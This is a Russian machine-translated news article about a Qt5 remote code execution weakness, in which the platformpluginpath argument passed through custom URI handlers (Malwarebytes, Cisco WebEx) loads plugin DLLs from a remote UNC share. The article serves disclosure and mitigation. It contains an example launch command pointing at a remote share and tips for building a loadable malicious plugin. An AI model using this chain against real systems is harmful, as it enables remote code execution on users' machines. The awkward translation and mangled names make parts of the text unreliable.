Приложения с графическим интерфейсом на основе Qt5, чувствительные к удаленному выполнению кода

Лоуренс Абрамс
  • 5 апреля 2019 г.
  • 2:58 вечера
  • 1

С помощью малоизвестного аргумента командной строки приложения, которые настраивают собственные обработчики протоколов и разрабатываются с использованием среды графического интерфейса пользователя Qt5, могут подвергаться уязвимости удаленного выполнения кода.

Многие разработчики не знают, что когда вы используете каркас Qt5, он также добавляет аргументы командной строки, которые можно использовать для изменения работы каркаса, например, какой заголовок окна показывать, размер окна или даже его значок.

Эти аргументы командной строки передаются в функцию, которая инициализирует каркас Qt, где они затем анализируются, как показано ниже.

Один малоизвестный аргумент командной строки. это platformpluginpath команда, которая указывает, из какой папки загружаются плагины Qt5. Это может быть локальная папка или удаленный URL UNC.

Если указан этот аргумент, программа будет использовать введенный путь для загрузки программных плагинов Qt, которые представляют собой специально созданные DLL-программы, которые загружаются платформой для расширения ее функциональности.

Читайте так же
Как Установить Приложение На Андроид Через Пк... Обладатели Android-девайсов, у каких нет способности подключиться к беспроводной сети Wi-Fi-сети, очень нередко задаются вопросом о том, как устанавливать приложения на Android с компьютера, имеющего доступ в веб. Делается это довольно легко. Разгляд...
Как Создать Папку Для Приложений На Айфоне... С каждым годом в Рф становится всё больше счастливых обладателей iPhone. В связи с чем, стремясь защитить свои личные данные от сторонних глаз, юзеры продукта от Apple задаются вопросом о том, как на айфоне поставить пароль на приложение либо защитит...
Как Обновить Приложения На Смарт Тв Самсунг... В этом материале поэтапно и поочередно будет описано, как настроить “Смарт ТВ” на телеке “Самсунг”. По существу, приведенный дальше метод является универсальным и применим к хоть какому устройству данной серии. Поочередно выпо...

Это означает, что если злоумышленник размещает вредоносную библиотеку DLL на удаленном общем ресурсе UNC и может запустить программу с помощью platformpluginpath аргумент, они могут удаленно загрузить DLL и выполнить ее.

Подделка эксплойта RCE

В отчете Zero Day Initiative исследователь безопасности Зиад Бадави объясняет, как приложения на основе Qt5, которые создают пользовательский обработчик URI и неправильно очищают свои аргументы командной строки, уязвимы для удаленного выполнения кода, просто щелкнув ссылку на веб-сайте.

Чтобы проиллюстрировать, как можно использовать этот аргумент командной строки, ZDI показал, как эта уязвимость затронула две ранее обнаруженные и устраненные уязвимости в Malwarebytes (CVE-2019-6739) и Cisco WebEx (CVE-2019-1636).

Используя Malwarebytes в качестве примера, когда программа установлена, она создаст пользовательский обработчик URI с именем Malwarebytes, Когда пользователи нажимают на ссылку, как Malwarebytes: //www.example.com, Windows откроет программу assistant.exe с помощью команды assistant.exe.uri www.example.com.

Чтобы помощник мог удаленно загрузить и запустить вредоносную библиотеку DLL, злоумышленник может просто создать или изменить веб-страницу для загрузки iframe, используя в качестве источника пользовательский протокол URI вредоносного байта. Этот источник URL, однако, также будет использовать platformpluginpath аргумент командной строки и указание на удаленный общий ресурс UNC, куда будут загружаться плагины Qt5.

Когда это произойдет, помощник.exe будет запущен с командой assistant.exe.platformpluginpath \\ 192.168.131.152 \ share, что приведет к загрузке любых плагинов из папки удаленного доступа.

Для того, чтобы DLL-библиотека могла быть загружена таким способом средой Qt, они должны быть обработаны определенным образом, что потребовалось немного экспериментам со стороны Бадави, чтобы выяснить это.

Создание этой вредоносной DLL может показаться тривиальным для разработчиков Qt5, но изначально это было не для нас. Не имея опыта работы с Qt5, сборка специально созданной DLL, которая будет загружена Qt5, заняла некоторое время. Потратив некоторое время, пытаясь выяснить причину, по которой файл не загружается и его DllMain не выполняется, мы углубились в ядро ​​Qt, чтобы выяснить, что отсутствующим элементом был PE-раздел с именем.qtmetad. Оказывается, что раздел метаданных должен присутствовать в плагинах DLL, чтобы они были идентифицированы Qt5. Этот раздел содержит подробную информацию о плагине и данные, которые он обрабатывает как MIME-типы. Копирование содержимого раздела из другого допустимого плагина, такого как «qgif.dll», должно помочь.

Читайте так же
Как Установить Приложение На Андроид Через Пк... Обладатели Android-девайсов, у каких нет способности подключиться к беспроводной сети Wi-Fi-сети, очень нередко задаются вопросом о том, как устанавливать приложения на Android с компьютера, имеющего доступ в веб. Делается это довольно легко. Разгляд...
Обновление NBA предоставляет живые игры — ст... Это волшебное время года для фанатов баскетбола, когда турнир NCAA в самом разгаре и лидеры НБА в разгаре их попыток завоевать места в плей-офф. Чтобы извлечь выгоду из сезона, Magic Leap делает свой собственный толчок, выделяя новые функции в прило...
Google просто убил свое приложение Trips, несмотря... Google просто убил свое приложение Trips, несмотря на просьбы пользователей сохранить его Google прекратил свое приложение Trips для iOS и Android. Лиам Тунг | 6 августа 2019.- 12:15 по Гринвичу (05:15 PDT) | Тема: Мобильность Google отправляет T...

Как только Badawi смог создать вредоносную DLL-библиотеку плагинов Qt5, стало легко использовать уязвимость в Malwaresbytes.

Уязвимость Cisco WebEx работала точно так же, но с пользовательским обработчиком URI ciscospark: //.

Смягчение этого эксплойта

Для того чтобы эта уязвимость затронула программу на Qt5, она должна иметь следующие требования:

Приложения с графическим интерфейсом на основе Qt5, чувствительные к удаленному выполнению кода
  1. Будьте приложением с графическим интерфейсом, которое использует каркас Qt5.
  2. Загрузить плагины Qt5
  3. Зарегистрировать пользовательский обработчик URI

Чтобы смягчить этот тип эксплойта, Бадави сказал BleepingComputer, что приложения должны очистить аргументы командной строки, чтобы удаленные общие ресурсы были удалены или аргумент platformpluginpath был удален.

После того, как аргументы были очищены, приложение может затем передать аргументы в инфраструктуру Qt5, не беспокоясь о том, что они могут быть использованы неправильно.

Хотя устранить эту уязвимость несложно, Бадави был более обеспокоен тем, что большинство людей даже не знают, что этот аргумент командной строки существует, и поэтому его необходимо дезинфицировать, чтобы предотвратить злоупотребления.

Читайте так же
Приложение Для Айфона Чтобы Слушать Музыку Оффлайн... Человеку, который имеет собственный плей лист в VK, охото слушать музыку на iPhone с Вконтакте и лучше оффлайн (прослушивание без веба). К примеру можно накачать музыки дома по Wi-Fi и слушать музыку с ВК без веба. Сейчас это доступно прямо на своем ...
Обновление NBA предоставляет живые игры — ст... Это волшебное время года для фанатов баскетбола, когда турнир NCAA в самом разгаре и лидеры НБА в разгаре их попыток завоевать места в плей-офф. Чтобы извлечь выгоду из сезона, Magic Leap делает свой собственный толчок, выделяя новые функции в прило...
Google выпускает приложение Lookout для слабовидящ... Приложение использует ИИ, чтобы помочь пользователям со слабым зрением лучше взаимодействовать со своей средой. Приложение Google Lookout для слепых и слабовидящих, запущенное для Pixel 3. Приложение Google Lookout, которое помогает слепым и слаб...